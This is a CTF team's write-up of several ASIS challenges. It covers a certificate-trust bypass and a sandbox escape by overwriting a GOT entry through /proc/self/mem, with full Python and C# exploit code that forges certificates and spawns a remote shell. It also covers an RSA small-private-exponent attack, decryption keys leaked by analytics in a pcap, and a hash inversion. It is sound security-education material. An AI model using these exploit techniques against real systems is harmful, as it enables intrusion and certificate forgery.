The second part of the challenge uses an already known technique to break out from “sandboxes”.

Namely: overwriting the contents of the /proc/self/mem. This is possible because the calculator contains two methods: READ and WRITE with which we can read and write arbitrary files. (Note: I tried to read “flag2”, but unfortunately it did not exist… :))

So I leaked the memory mappings with reading the /proc/self/maps file. Then I overwrote the “open” call’s GOT entry to system. And simply called the READ call again with /bin/sh which instead of opening the file, opened a shell for me (btw I tried to call “sh” first, but it turned out it calls a stat function first, and “sh” did not work, but “/bin/sh” did the trick).

Also there were some character encoding problem (it probably tried to interpret the binary input as UTF8 characters), so I only overwrote 3 bytes instead of the full address and the exploit is not reliable: only works if ASLR gives an address with characters which are lower than 0x80.

After calling an “ls” it turned out the flag was in the flag2-03dae19b720939043d87fbf67342c2e8.txt file.

And the flag was: ASIS{9009eeab9869a8098acd7bb19f079230}

Exploit code

#!/usr/bin/env python
from pwn import *
import re
from time import sleep

for i in xrange(10):
    print "Try #%d" % (i + 1)
    p = remote('185.82.202.146', 1337)
    #p = process('./start.sh', shell=True)
    p.recvline()
    p.recvline()

    p.send('authenticate\n')
    p.send(open('fakeCa.crt').read()+'\n')

    p.send('authenticate\n')
    p.send(open('fakeUserCert.crt').read()+'\n')

    p.send('flag\n')
    p.recvuntil('> ')
    print '[!] FLAG 1 = %s' % p.recvline().strip()

    p.send('read("/proc/self/maps",0,20000)\n')
    p.recvuntil('> ')
    maps = p.recvuntil('\x00')
    p.recvuntil('\n\n')
    #print "maps =", maps

    libcBase = int(re.search('([a-z0-9]+).*?libc-2.19.so', maps).group(1), 16)
    libThreadBase = int(re.search('([a-z0-9]+).*?libpthread-2.19.so', maps).group(1), 16)
    print "libThread base = 0x%016x" % libThreadBase

    systemLocal = 0x7ffff74ba230
    libThreadBaseLocal = 0x7ffff74aa000
    openGotAddr = 0x9776C8

    system = libThreadBase - libThreadBaseLocal + systemLocal
    print "system = 0x%016x" % system

    systemChars = p64(system)[0:3]
    if ord(systemChars[0]) >= 128 or ord(systemChars[1]) >= 128 or ord(systemChars[2]) >= 128:
        print "Exploit won't work, restarting..."
        p.close()
        continue
        
    p.send('write("/proc/self/mem",'+str(openGotAddr)+',"'+systemChars+'")\nread("/bin/sh",0,1)\n')
    p.recvline()
    p.recvline()

    time.sleep(0.4)
    p.send('ls && echo LSEND\n')
    print "ls result = %s" % p.recvuntil('LSEND\n').replace('LSEND','').replace('\n', ' ').strip()

    p.send('cat flag2-03dae19b720939043d87fbf67342c2e8.txt\n')
    print "[!] FLAG 2 = %s" % p.recvline().strip()

    p.interactive()
    break

Calc.exe is a .NET program (finally :D), which can evaluate (mostly) mathematical expressions.

At first no functions are enabled except some basic mathematical operations like addition, subtraction, etc.

But we can enable different functions by using a digitally signed X509 certficates.

We also got an example cert “guestCert.crt” which enabled some basic math and trigonomical functions.

alt

The program also adds a function called FLAG which returns the flag as string.

alt

The problem is we cannot load any certificate as there is a lot of checks before, so we had to find some vulnerability. The program uses a known crypto library, called BouncyCastle and the attached “BouncyCastle.Crypto.dll” is exactly the same as the one we can download from NuGet. As no known vulnerability exists for this library (or at least at the certificate verification part), we had to look for vulnerabilities in the program.

Although the certificate loaded into the store while it is checked, no self-signed certificates are allowed and it is removed as soon as its verification fails.

But there is a bug in the code: although some checks like the VerifyCertificate is in a try-catch block and returns a boolean value, the IsCalcExeCert can throw exception while calling SingleOrDefault method. To trigger the exception we have to put two values with the 2.5.4.1337 key into the SubjectName’s field.

alt

Although our certificate is not deleted from the trusted CA store, it is not loaded into the program, so we cannot call the FLAG function yet. But we can sign a new client certificate with this now trusted cert as a CA (certificate authority). This way our new certificate will be accepted.

The attached C# code snippet (calcexe1.cs) will generate the fake CA and the fake certificate.

The flag was: ASIS{e5cb5e25f77c1da6626fb78a48a678f3}

Exploit code

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.ConstrainedExecution;
using System.Text;
using System.Threading.Tasks;
using Org.BouncyCastle.Asn1;
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.OpenSsl;
using Org.BouncyCastle.Pkcs;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.Utilities;
using Org.BouncyCastle.X509;

namespace CalcExeCertGenerator
{
    class Program
    {
        public class CertWithKey
        {
            public X509Certificate Cert { get; set; }
            public RsaPrivateCrtKeyParameters Key { get; set; }

            public CertWithKey(X509Certificate cert, RsaPrivateCrtKeyParameters key)
            {
                Cert = cert;
                Key = key;
            }
        }

        public static CertWithKey GenerateCertificate(string subjectName, CertWithKey issuer = null, int keyStrength = 1024, Action<X509V3CertificateGenerator> genAction = null)
        {
            var random = new SecureRandom(new CryptoApiRandomGenerator());
            var certificateGenerator = new X509V3CertificateGenerator();
            certificateGenerator.SetSerialNumber(BigIntegers.CreateRandomInRange(BigInteger.One, BigInteger.ValueOf(Int64.MaxValue), random));
            certificateGenerator.SetSignatureAlgorithm("SHA1WithRSA");
            certificateGenerator.SetIssuerDN(issuer != null ? issuer.Cert.SubjectDN : new X509Name(subjectName));
            certificateGenerator.SetSubjectDN(new X509Name(subjectName));
            certificateGenerator.SetNotBefore(DateTime.UtcNow.Date);
            certificateGenerator.SetNotAfter(DateTime.UtcNow.Date.AddYears(2));
            certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(false));
            certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.DigitalSignature));
            certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPCodeSigning));
            if (genAction != null)
                genAction(certificateGenerator);

            // Subject Public Key
            var keyPairGenerator = new RsaKeyPairGenerator();
            keyPairGenerator.Init(new KeyGenerationParameters(random, keyStrength));
            var subjectKeyPair = keyPairGenerator.GenerateKeyPair();

            certificateGenerator.SetPublicKey(subjectKeyPair.Public);

            var certificate = certificateGenerator.Generate(issuer != null ? issuer.Key : subjectKeyPair.Private, random);
            return new CertWithKey(certificate, (RsaPrivateCrtKeyParameters)subjectKeyPair.Private);
        }

        static string ToPem(object obj)
        {
            var sw = new StringWriter();
            new PemWriter(sw).WriteObject(obj);
            return sw.ToString();
        }

        static void Main(string[] args)
        {
            X509Name.DefaultLookup.Add("prg", new DerObjectIdentifier("2.5.4.1337"));
            var fakeCa = GenerateCertificate("C=IR, L=Iran, [email protected], O=calc.exe, CN=calc.exe, 2.5.4.1337=calc.exe, 2.5.4.1337=calc.exe");
            var fakeUserCert = GenerateCertificate("C=IR, L=Iran, [email protected], O=guest, CN=guest, 2.5.4.1337=calc.exe", fakeCa,
                genAction: gen => gen.AddExtension("1.1.1337.7331", false, Encoding.Default.GetBytes("ABS,ACOS,ASIN,ATAN,ATAN2,CEILING,COS,COSH,EXP,FLOOR,FLAG,INT,LN,LOG,LOG10,PI,POWER,RAND,RANDBETWEEN,SIGN,SIN,SINH,SQRT,SUM,SUMIF,TAN,TANH,TRUNC,READ,WRITE")));
            File.WriteAllText("fakeCa.crt", ToPem(fakeCa.Cert));
            File.WriteAllText("fakeUserCert.crt", ToPem(fakeUserCert.Cert));
        }
    }
}

We got an RSA public key (pub.key) encoded in PEM format and the encrypted flag (flag.enc).

These are the converted parameters:

e = 2385330119331689083455211591182934261439999376616463648565178544704114285540523381214630503109888606012730471130911882799269407391377516911847608047728411508873523338260985637241587680601172666919944195740711767256695758337633401530723721692604012809476068197687643054238649174648923555374972384090471828019
N = 2562256018798982275495595589518163432372017502243601864658538274705537914483947807120783733766118553254101235396521540936164219440561532997119915510314638089613615679231310858594698461124636943528101265406967445593951653796041336078776455339658353436309933716631455967769429086442266084993673779546522240901
c = 1624768965978244122218384915440259949773623052619109265384960524204099241405509334298217012073574245240140975823312659160847045035132501536939096089619077929998251251236783590255562951129897302725067655285503493676186062693350470482247124598766533755027440418713398509566189239815613916662987881029294277207

The public exponent is too large thus we can suspect that the private exponent is possible too small.

I tried to attack it with Wiener’s attack: https://en.wikipedia.org/wiki/Wiener%27s_attack with the following implementation, but it did not worked: https://github.com/pablocelayes/rsa-wiener-attack

So I remembered other RSA attacks from previous CTFs and how much time this page helped me: https://github.com/mimoo/RSA-and-LLL-attacks

The last attack is the Boneh Durfee attack, which is you know BO-neh DU-rfee => BODU just like the challenge’s name, so I instantly know this will solve the challenge (also a lot of other teams are already solved it, so it should be not too hard challenge either).

Running budo.sage will give us the private exponent (d):

d = 89508186630638564513494386415865407147609702392949250864642625401059935751367507

The executing pow(c,d,N) in python give us the following plaintext:

7105857801457696083098669180371125182430908825274295869462261196993232333904846182088682459845909159924079587285438988882837378435398205428800773161869836747653246664819269651173622798039814934439562046448483899123585744167522783235535219103995347045452193429764349550389498609273176996913420550906739978

Converting this to ASCII (for example with my javascript based conversion tools, hosted on https://kt.pe/tools.html) will give us the flag (it is padded with PKCS v1.5 padding, but contrary to OAEP padding the flag is readable instantly):

ASIS{b472266d4dd916a23a7b0deb5bc5e63f}

This challenge was solved by and the write up was written by one of my teammates, gym.

In this challange we are provided with a pcap file, loading it in wireshark and after a quick glance at the exported objects we can see they were using 0bin pastebin (https://github.com/sametmax/0bin).

0bin encrypts the data client side and provides a decryption key. This key if appended to the URL with a hash mark ‘#’ is used to decrypt the received data. Ideally this part of the URL should not be sent to the server, thus the server operators cannot know the content of the paste.

However in the pcap 0bin is used in conjunction with piwik, witch send the entire URL in the request, thus we have the key to decrypt the data.

GET /piwik.php?action_name=0bin%20-%20encrypted%20pastebin&idsite=1&rec=1&r=776276&h=11&m=27&s=12&url=http%3A%2F%2F0bin.asis.io%2Fpaste%2FTINcoc0f%23-krvZ7lGwZ4e2JQ8n%2B3dfsMBqyN6Xk6SUzY7i0JKbpo&urlref=http%3A%2F%2F0bin.asis.io%2F&_id=dd17974841486b63&_idts=1443081356&_idvc=1&_idn=0&_refts=0&_viewts=1443081356&send_image=0&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=1&java=1&gears=0&ag=0&cookie=1&res=1440x900&gt_ms=108 HTTP/1.1

We can find three such key-id pairs in the pcap, the first one results in a fake flag, the second one has expired and the third one gives us an ASCII art of the real flag.

The last url: http://0bin.asis.io/paste/1ThAoKv4#Zz-nHPnr0vGGg3s/7/RWD2pnZPZl580x9Y2G3IUehfc

The ascii art: alt

And the flag is

ASIS{e29a3ef6f1d71d04c5f107eb3c64bbbb}

This challenge was a simple reversing challenge.

The first step was NOPing out the ptrace “anti-debug” call and finding out the main hash function which was at the 0x401B40 address.

alt

This accepted the flag as an input and used big integer math to calculate it’s hash. This hash was compared to a static buffer (there was a little trick that only every 4th number was used from that buffer).

The hash function can be summarized with this python code:

result = 0
for c in flag:
    result = result * 33 + (ord(c) ^ 0x8f)

And we know that the hash of the real flag was:

27221558106229772521592198788202006619458470800161007384471764

So we could calculate the flag easily with the following code snippet:

p = 'abcdef0123456789'
def f(h, l, x):
   if l == 0:
       if h == 210839978725:
           yield 'ASIS{' + x
   else:
       for c in p:
           if ((ord(c)^0x8f) % 33) == h%33:
               for r in f((h - (ord(c)^0x8f))//33, l-1, c+x):
                   yield r
h0 = 27221558106229772521592198788202006619458470800161007384471764
x = list(f((h0-(ord('}')^0x8f))//33, 32, '}'))
print x

The flag was:

ASIS{d5c808f5dc96567bda48be9ba82fc1d6}